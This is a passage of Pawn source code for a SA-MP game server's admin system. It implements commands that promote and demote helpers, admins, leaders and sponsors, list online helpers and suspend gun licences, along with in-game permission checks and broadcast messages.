			if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_SINA3,"Player is not connected.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /makehelper <Playerid/PartOfName> <HelperLevel>");
			new hl = strval(tmp);
			if(hl <= -1 || hl >= 6) return SCM(playerid,COLOR_MAMAD,"Type a helper level number between 0 and 5.");
			if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(hl >= 1 && PINFO[user][pSponser] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: You can't promote a sponsor to helper.");
			if(PINFO[user][pHelper] == 0 && PINFO[user][pAdmin] >= 1)
			{
			helpersz = 1;
			}
			if(PINFO[playerid][pHlp] == 1 && PINFO[playerid][pAdmin] < 6 && hl >= 2)
			{
			SCM(playerid, COLOR_YELLOW2, "Error: You can't use makehelper up to 1.");
			return 1;
			}
			if(PINFO[playerid][pHlp] == 2 && PINFO[playerid][pAdmin] < 6 && hl >= 3)
			{
			SCM(playerid, COLOR_YELLOW2, "Error: You can't use makehelper up to 2.");
			return 1;
			}
			if(PINFO[playerid][pHlp] == 3 && PINFO[playerid][pAdmin] < 6 && hl >= 4)
			{
			SCM(playerid, COLOR_YELLOW2, "Error: You can't use makehelper up to 3.");
			return 1;
			}
			if(PINFO[playerid][pHlp] == 4 && PINFO[playerid][pAdmin] < 6 && hl >= 5)
			{
			SCM(playerid, COLOR_YELLOW2, "Error: You can't use makehelper up to 4.");
			return 1;
			}
			if(PINFO[playerid][pHlp] == 5 && PINFO[playerid][pAdmin] < 6 && hl >= 6)
			{
			SCM(playerid, COLOR_YELLOW2, "Error: You can't use makehelper up to 5.");
			return 1;
			}
			if(PINFO[playerid][pHlp] == 6 && PINFO[playerid][pAdmin] < 6 && hl >= 7)
			{
			SCM(playerid, COLOR_YELLOW2, "Error: You can't use makehelper up to 6.");
			return 1;
			}
			if(BegirInfo1 == 0 && hl == BegirInfo1) return SCM(playerid, COLOR_YELLOW2, "Error: That player is already not a helper.");
			if(BegirInfo1 == hl && PINFO[user][pSex] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't promote this player to his current helper level.");
            if(BegirInfo1 == hl && PINFO[user][pSex] != 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't promote this player to her current helper level.");
			if(BegirInfo1 < hl)
			{
			BegirInfo = "promoted"
			}
			if(BegirInfo1 > hl)
			{
			BegirInfo = "demoted"
			}
			format(string,144,"{FFFFFF}Admin %s has %s %s to helper level %i.",PINFO[playerid][pName],BegirInfo,PINFO[user][pName],hl);
			AdminWarn(string);
			format(string,144,"You have %s to helper level %i by %s.",BegirInfo,hl,PINFO[playerid][pName]);
			SCM(user,COLOR_LIGHTBLUE,string);
		  if(hl == 0)
		  {
			PlayerInfo[user][pAav] = 0;
		  SaveKonVal(user, "pAav", 0);
		  HSAR[playerid] = 0;
		  if(PINFO[user][pAdmin] == 0)
		  {
		  PlayerTextDrawHide(user, SAR[playerid]);
		  }
		  }
		  if(hl == 1)
		  {
			//PlayerInfo[user][pAav] = 0;
		  //SaveKonVal(user, "pAav", 0);
		  PlayerTextDrawShow(user, SAR[playerid]);
		  }
		  if(hl == 2)
		  {
			//PlayerInfo[user][pHav] = 0;
		  //SaveKonVal(user, "pHav", 0);
		  PlayerTextDrawShow(user, SAR[playerid]);
		  }
		  if(hl == 3)
		  {
			//PlayerInfo[user][pHav] = 0;
		  //SaveKonVal(user, "pHav", 0);
		  PlayerTextDrawShow(user, SAR[playerid]);
		  }
		  if(hl == 4)
		  {
			//PlayerInfo[user][pHav] = 0;
		  //SaveKonVal(user, "pHav", 0);
		  PlayerTextDrawShow(user, SAR[playerid]);
		  }
		  if(hl == 5)
		  {
			//PlayerInfo[user][pHav] = 0;
		  //SaveKonVal(user, "pHav", 0);
		  PlayerTextDrawShow(user, SAR[playerid]);
		  }
		  if(hl == 6)
		  {
			//PlayerInfo[user][pHav] = 0;
		  //SaveKonVal(user, "pHav", 0);
		  PlayerTextDrawShow(user, SAR[playerid]);
		  }
            new admine[144];
			if(NaWarn == 1 && hl == 1 && PINFO[user][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Helper Level 1 known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[user][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
			if(NaWarn == 1 && hl == 2 && PINFO[user][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Helper Level 2 known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[user][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
			if(NaWarn == 1 && hl == 3 && PINFO[user][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Helper Level 3 known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[user][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
			if(NaWarn == 1 && hl == 4 && PINFO[user][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Helper Level 4 known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[user][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
			if(NaWarn == 1 && hl == 5 && PINFO[user][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Helper Level 5 known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[user][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
			if(NaWarn == 1 && hl == 6 && PINFO[user][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Helper Level 6 known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[user][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
			if(helpersz == 1 && hl != 0)
			{
			//HelperOnline ++;
			helpersz = 0;
			}
			if(hl == 0 && PINFO[user][pAdmin] == 0) {TextDrawHideForPlayer(user, ReportsTD);TextDrawHideForPlayer(user, HelpmesTD);}
			if(hl == 0 && PINFO[user][pAdmin] != 0) {TextDrawHideForPlayer(user, HelpmesTD);}
			if(hl != 0 && PINFO[user][pAdmin] == 0) {TextDrawHideForPlayer(user, ReportsTD);TextDrawShowForPlayer(user, HelpmesTD);}
			if(hl != 0 && PINFO[user][pAdmin] != 0) {TextDrawShowForPlayer(user, ReportsTD);TextDrawShowForPlayer(user, HelpmesTD);}
			PINFO[user][pHelper] = hl;
			SaveKonVal(user, "pHelper", hl);
			//SaveAccount(user);
			return 1;
		}

		// New Helpers System by Sina
		/*
		if(strcmp(cmd, "/helpers", true) == 0)
	{
	new count = 1, name[24], stringhelpers[1024], stringhelpers2[1024];
	for(new i = 0; i < MAX_PLAYERS; i++)
	{
	if(IsPlayerConnected(i) && PlayerInfo[i][pHelper] >= 1)
	{
	if(PlayerInfo[i][pAdmin] == 0)
	{
	GetPlayerName(i, name, sizeof(name));//{0099FF}%s%s(%d) | Admin Level: %d\n
	format(stringhelpers2, sizeof(stringhelpers2),"%s(%d)\t%s\n %s", name, i, HelperLevelName(i), stringhelpers2);
	format(stringhelpers, sizeof(stringhelpers),"Name(ID)\tHelper Level\n %s", stringhelpers2);
	count ++;
	}
	}
	}
	if(count != 1)
	{
		ShowPlayerDialog(playerid, DIALOG_HELPERS, DIALOG_STYLE_TABLIST_HEADERS, "{FF00FF}Online Helpers", stringhelpers, "Done", "");
	}
	else ShowPlayerDialog(playerid, DIALOG_HELPERS, DIALOG_STYLE_TABLIST_HEADERS, "{00FF00}Online Helpers", "{FF0000}No Helper Online Now", "Done", "");
	return 1;
}
*/
		//=========================================================================




		if(!strcmp(cmd,"/helpers",true))
		{
			new hc = 0;
			SendMessage(playerid, CRISTIAN, "|_________Helpers Online_________|");
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i))
				{
				new afk[40];
				if(AFK[i] == 1 || AFKTime[i] > 70 || InSleep[i] == 1) {afk = "(AFK)";}
				if(AFK[i] == 0 && AFKTime[i] < 70 && InSleep[i] == 0) {afk = " ";}
				new sar[40];
				if(PINFO[playerid][pHelper] >= 1 || PINFO[playerid][pAdmin] >= 1)
				{
				if(HSAR[i] == 1) {sar = "(On SAR)";}
				}
				if(HSAR[i] == 0) {sar = " ";}
				//if(PINFO[playerid][pHelper] == 0 && PINFO[playerid][pAdmin] == 0) {sar = " ";}
					if(PINFO[i][pHelper] == 1 && PINFO[i][pAdmin] == 0)
					{
						hc ++;
						format(string, sizeof(string),"{F21717}Helper Level 1 - {ffffff}%s(%d)%s%s", PINFO[i][pName], i, afk, sar);
						SCM(playerid, COLOR_WHITE, string);
					}
					if(PINFO[i][pHelper] == 2 && PINFO[i][pAdmin] == 0)
					{
						hc ++;
						format(string, sizeof(string),"{F21717}Helper Level 2 - {ffffff}%s(%d)%s%s", PINFO[i][pName], i, afk, sar);
						SCM(playerid, COLOR_WHITE, string);
					}
					if(PINFO[i][pHelper] == 3 && PINFO[i][pAdmin] == 0)
					{
						hc ++;
						format(string, sizeof(string),"{F21717}Helper Level 3 - {ffffff}%s(%d)%s%s", PINFO[i][pName], i, afk, sar);
						SCM(playerid, COLOR_WHITE, string);
					}
					if(PINFO[i][pHelper] == 4 && PINFO[i][pAdmin] == 0)
					{
						hc ++;
						format(string, sizeof(string),"{F21717}Helper Level 4 - {ffffff}%s(%d)%s%s", PINFO[i][pName], i, afk, sar);
						SCM(playerid, COLOR_WHITE, string);
					}
					if(PINFO[i][pHelper] == 5 && PINFO[i][pAdmin] == 0)
					{
						hc ++;
						format(string, sizeof(string),"{F21717}Helpers Supervisor - {ffffff}%s(%d)%s%s", PINFO[i][pName], i, afk, sar);
						SCM(playerid, COLOR_WHITE, string);
					}
				}
			}
				if(hc == 0)
				{
					SCM(playerid,COLOR_LIGHTGREEN,"* No helpers online on the server");
				}
				else if(hc == 1)
				{
					SCM(playerid,COLOR_LIGHTGREEN,"There is 1 helper online.");
				}
				else if (hc >= 2)
				{
					format(string, sizeof(string), "* There are %d helpers online.", hc);
					SCM(playerid, COLOR_LIGHTGREEN, string);
				}
				return 1;
		}/// Make Admin
/* Offline Demote */
if(strcmp(cmd, "/agunsuspend", true) == 0 || strcmp(cmd, "/ags", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] >= 1)
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /AGunSuspend <FullName>");
			   new playa=ReturnUserEx(tmp);
			   if(playa!=INVALID_PLAYER_ID&&PINFO[playa][pOnline] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
			   //if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			   //if(playerid == playa) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for yourself.");
				GetPlayerName(playerid, sendername, sizeof(giveplayer));
				format(string, 256, "[Admin-Warn]: Admin {FFFFFF}%s {FF0000}has suspended %s's gun license for {FFFFFF}3 hours", sendername,tmp);
				ABroadCast(COLOR_AdminWarn,string,1);
				GuneshoBegir(playerid,tmp);
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Your admin level isn't high enough to use this command.");
			}
			return 1;
		}
if(strcmp(cmd, "/DemoteMember", true) == 0 || strcmp(cmd, "/DMember", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] >= 10)
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /DemoteMember <FullName>");
			   new playa=ReturnUserEx(tmp);
			   if(playa!=INVALID_PLAYER_ID&&PINFO[playa][pOnline] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
			   //if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			   //if(playerid == playa) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for yourself.");
				GetPlayerName(playerid, sendername, sizeof(giveplayer));
				format(string, 256, "[Admin-Warn]: {FFFFFF}Member %s was demoted to Civilian by Admin %s.", tmp,sendername);
				ABroadCast(COLOR_AdminWarn,string,1);
				MemberishoBegir(playerid,tmp);
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			}
			return 1;
		}
		/*
if(strcmp(cmd, "/DemoteLeader", true) == 0 || strcmp(cmd, "/DLeader", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] >= 6 || PlayerInfo[playerid][pMlp] == 1 || PlayerInfo[playerid][pSlp] == 1)
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /DemoteLeader <FullName>");
			   new playa=ReturnUserEx(tmp);
			   if(playa!=INVALID_PLAYER_ID&&PINFO[playa][pOnline] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
			  //if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			   //if(playerid == playa) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for yourself.");
				GetPlayerName(playerid, sendername, sizeof(giveplayer));
				format(string, 256, "[Admin-Warn]: {FFFFFF}Leader %s was demoted to Civilian by Admin %s.", tmp,sendername);
				ABroadCast(COLOR_AdminWarn,string,1);
				LeaderishoBegir(playerid,tmp);
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			}
			return 1;
		}

		if(strcmp(cmd, "/DemoteHelper", true) == 0 || strcmp(cmd, "/DHelper", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] >= 6 || PlayerInfo[playerid][pHlp] == 1 || PlayerInfo[playerid][pSlp] == 1)
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /DemoteHelper <FullName>");
			   new playa=ReturnUserEx(tmp);
			   if(playa!=INVALID_PLAYER_ID&&PINFO[playa][pOnline] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
			   //if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			  //if(playerid == playa) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for yourself.");
				GetPlayerName(playerid, sendername, sizeof(giveplayer));
				format(string, 256, "[Admin-Warn]: {FFFFFF}%s's Helper Level was changed to 0 by Admin %s.", tmp,sendername);
				ABroadCast(COLOR_AdminWarn,string,1);
				HelperishoBegir(playerid,tmp);
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			}
			return 1;
		}


		if(strcmp(cmd, "/DemoteAdmin", true) == 0 || strcmp(cmd, "/DAdmin", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] >= 10 || PlayerInfo[playerid][pSlp] == 1 || PlayerInfo[playerid][pAlp] == 1)
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /DemoteAdmin <FullName>");
			   new playa=ReturnUserEx(tmp);
			   if(playa!=INVALID_PLAYER_ID&&PINFO[playa][pOnline] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
			   //if(!strcmp(playa,PlayerInfo[playerid][pName],true))return SCM(playerid,COLOR_YELLOW2,"Error: You can't demote yourself.");
			   //if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			   //if(playerid == playa) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for yourself.");
				GetPlayerName(playerid, sendername, sizeof(giveplayer));
				format(string, 256, "[Admin-Warn]: {FFFFFF}%s's Admin Level was changed to 0 by Admin %s.", tmp,sendername);
				ABroadCast(COLOR_AdminWarn,string,1);
				AdminishoBegir(playerid,tmp);
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			}
			return 1;
		}
		*/

				if(strcmp(cmd, "/makeadminoffline", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] >= 12)
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /makeadminoffline <FullName> <Level>");
				new level;
				new levels[146];
				levels = strtok(cmdtext, idx);
				level = strval(levels);
				if(level <= -1 || level >= 12) return SCM(playerid,COLOR_YELLOW2,"Error: Type an admin level number between 0 and 11.");
				if(!strlen(levels)) return SCM(playerid,COL_SYN,"Syntax: /makeadminoffline <FullName> <Level>");
			   new playa=ReturnUserEx(tmp);
			   if(playa!=INVALID_PLAYER_ID&&PINFO[playa][pOnline] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
				AdminishoBegirS(playerid,tmp,level);
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			}
			return 1;
		}
		
						if(strcmp(cmd, "/makesponsoroffline", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] >= 12)
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /makesponsoroffline <FullName> <Level>");
				new level;
				new levels[146];
				levels = strtok(cmdtext, idx);
				level = strval(levels);
				if(level <= -1 || level >= 2) return SCM(playerid,COLOR_YELLOW2,"Error: Type an sponsor level number between 0 and 1.");
				if(!strlen(levels)) return SCM(playerid,COL_SYN,"Syntax: /makesponsoroffline <FullName> <Level>");
			   new playa=ReturnUserEx(tmp);
			   if(playa!=INVALID_PLAYER_ID&&PINFO[playa][pOnline] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
				SponserishoBegirS(playerid,tmp,level);
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			}
			return 1;
		}
		
		
		
						if(strcmp(cmd, "/makeleaderoffline", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] >= 10)
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /makeleaderoffline <FullName> <Level>");
				new level;
				new levels[146];
				levels = strtok(cmdtext, idx);
				level = strval(levels);
				if((level != 21 && level > 16) || (level < 0)) return SCM(playerid,COLOR_YELLOW2,"Error: Wrong faction id! Type /ffnn to see faction ids.");
				if(!strlen(levels)) return SCM(playerid,COL_SYN,"Syntax: /makeleaderoffline <FullName> <Level>");
			   new playa=ReturnUserEx(tmp);
			   if(playa!=INVALID_PLAYER_ID&&PINFO[playa][pOnline] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
				LeaderishoBegirS(playerid,tmp,level);
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			}
			return 1;
		}
		
		
		
		
					if(strcmp(cmd, "/makehelperoffline", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] >= 10)
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /makehelperoffline <FullName> <Level>");
				new level;
				new levels[146];
				levels = strtok(cmdtext, idx);
				level = strval(levels);
				if(level <= -1 || level >= 6) return SCM(playerid,COLOR_YELLOW2,"Error: Type a helper level number between 0 and 5.");
				if(!strlen(levels)) return SCM(playerid,COL_SYN,"Syntax: /makehelperoffline <FullName> <Level>");
			   new playa=ReturnUserEx(tmp);
			   if(playa!=INVALID_PLAYER_ID&&PINFO[playa][pOnline] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
				HelperishoBegirS(playerid,tmp,level);
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			}
			return 1;
		}
		
		
/* Offline Demote */

	   if(strcmp(cmd, "/makeadmin", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] < 10 && PlayerInfo[playerid][pAlp] == 0)
				{
				SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
				return 1;
				}
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid,  COL_SYN, "Syntax: /makeadmin <Playerid/PartOfName> <level>");
					return 1;
				}
				new adminsz = 0;
				new BegirInfo[50];
				new BegirInfo1;
				new para1;
				new level;
				para1 = ReturnUser6(tmp);
				if(!IsPlayerConnected(para1))return Error(playerid, "Error: That player isn't online.")
				tmp = strtok(cmdtext, idx);
				level = strval(tmp);
				BegirInfo1 = PINFO[para1][pAdmin];
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
						if(para1 == playerid)
					 {
					 SCM(playerid,COLOR_SINA3,"Error: You can't makeadmin yourself.");
					 return 1;
					 }
						if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
						if(level >= 1 && PINFO[para1][pSponser] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: You can't promote a sponsor to admin.");
						if(PINFO[para1][pAdmin] == 0)
						{
						adminsz = 1;
						}
						   /*
					   if(PlayerInfo[playerid][pAdmin] == 10 && level > 2)
							{
							SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command for promote to +3.");
							return 1;
							}
							*/
							if(PlayerInfo[playerid][pAlp] == 1 && level > 5)
							{
							SCM(playerid,COLOR_YELLOW2,"Error: You are not authorized to use that command for promote to +5.");
							return 1;
							}
							if(PlayerInfo[playerid][pAdmin] == 10 && PlayerInfo[playerid][pAlp] == 0 && level > 2)
							{
							SCM(playerid,COLOR_YELLOW2,"Error: You are not authorized to use that command for promote to +2.");
							return 1;
							}
							if(PlayerInfo[playerid][pAdmin] == 11 && PlayerInfo[playerid][pAlp] == 0 && level > 5)
							{
							SCM(playerid,COLOR_YELLOW2,"Error: You are not authorized to use that command for promote to +5.");
							return 1;
							}
							if(PINFO[playerid][pAdmin] < 13 && (level > 11 || level < 0)) return SCM(playerid,COLOR_YELLOW2,"Error: Admin level must be between 0 and 11.");
							if(PINFO[playerid][pAdmin] >= 13 && (level > 12 || level < 0)) return SCM(playerid,COLOR_YELLOW2,"Error: Admin level must be between 0 and 12.");
//							new user = ReturnUser6(tmp);
//							new hl = strval(tmp);
//							if(IsPlayerConnected(playerid)) if(PINFO[user][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't promote/demote your higher admin level.");// Nemishe Ba AdminLevele Balatar Kari Kard Promote/Demote Kard. by Sina
                            if(BegirInfo1 == 0 && level == BegirInfo1) return SCM(playerid, COLOR_YELLOW2, "Error: That player is already not an admin.");
                            if(BegirInfo1 == level && PINFO[para1][pSex] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't promote this player to his current admin level.");
                            if(BegirInfo1 == level && PINFO[para1][pSex] != 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't promote this player to her current admin level.");
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							PlayerInfo[para1][pAdmin] = level;
							SaveKonVal(para1, "pAdmin", level);
							if(BegirInfo1 < level)
							{
							BegirInfo = "promoted"
							}
							if(BegirInfo1 > level)
							{
							BegirInfo = "demoted"
							}
							//printf("AdmCmd: %s has promoted %s to a level %d admin.", sendername, giveplayer, level);
							format(string, sizeof(string), "You have %s to admin level %d by %s.", BegirInfo, level, sendername);
							SendMessage(para1, COLOR_LIGHTBLUE, string);
					   format(string, 144, "[Admin-Warn]: {FFFFFF}Admin %s has %s %s to admin level %d.", sendername,BegirInfo,giveplayer,level);
							ABroadCast(COLOR_AdminWarn,string,1);
							if(level == 0)
							{
						PlayerInfo[para1][pAav] = 0;
						SaveKonVal(para1, "pAav", 0);
						//PlayerInfo[para1][pHav] = 0;
						//SaveKonVal(para1, "pHav", 0);
						PINFO[para1][pHDay] = 0;
						SaveKonVal(para1, "pHDay", 0);
						PINFO[para1][pHelper] = 0;
						SaveKonVal(para1, "pHelper", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
						PINFO[para1][pMlp] = 0;
						SaveKonVal(para1, "pMlp", 0);
						PINFO[para1][pHlp] = 0;
						SaveKonVal(para1, "pHlp", 0);
						PINFO[para1][pAlp] = 0;
						SaveKonVal(para1, "pAlp", 0);
						PINFO[para1][pWlp] = 0;
						SaveKonVal(para1, "pWlp", 0);
						PINFO[para1][pSlp] = 0;
						SaveKonVal(para1, "pSlp", 0);
						ASAR[para1] = 0;
					   PlayerTextDrawHide(para1, SAR[para1]);
					   HSAR[para1] = 0;
						}
						if(level == 1)
						{
					   PINFO[para1][pHDay] = 0;
						SaveKonVal(para1, "pHDay", 0);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
						}
						if(level == 2)
						{
					   PINFO[para1][pHDay] = 0;
						SaveKonVal(para1, "pHDay", 0);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
						}
						if(level == 3)
						{
					   PINFO[para1][pHDay] = 0;
						SaveKonVal(para1, "pHDay", 0);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
						}
						if(level == 4)
						{
					   PINFO[para1][pHDay] = 0;
						SaveKonVal(para1, "pHDay", 0);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
							}
						if(level == 5)
						{
					   PINFO[para1][pHDay] = 0;
						SaveKonVal(para1, "pHDay", 0);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
						}
						if(level == 6)
						{
					   PINFO[para1][pHDay] = 0;
						SaveKonVal(para1, "pHDay", 0);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
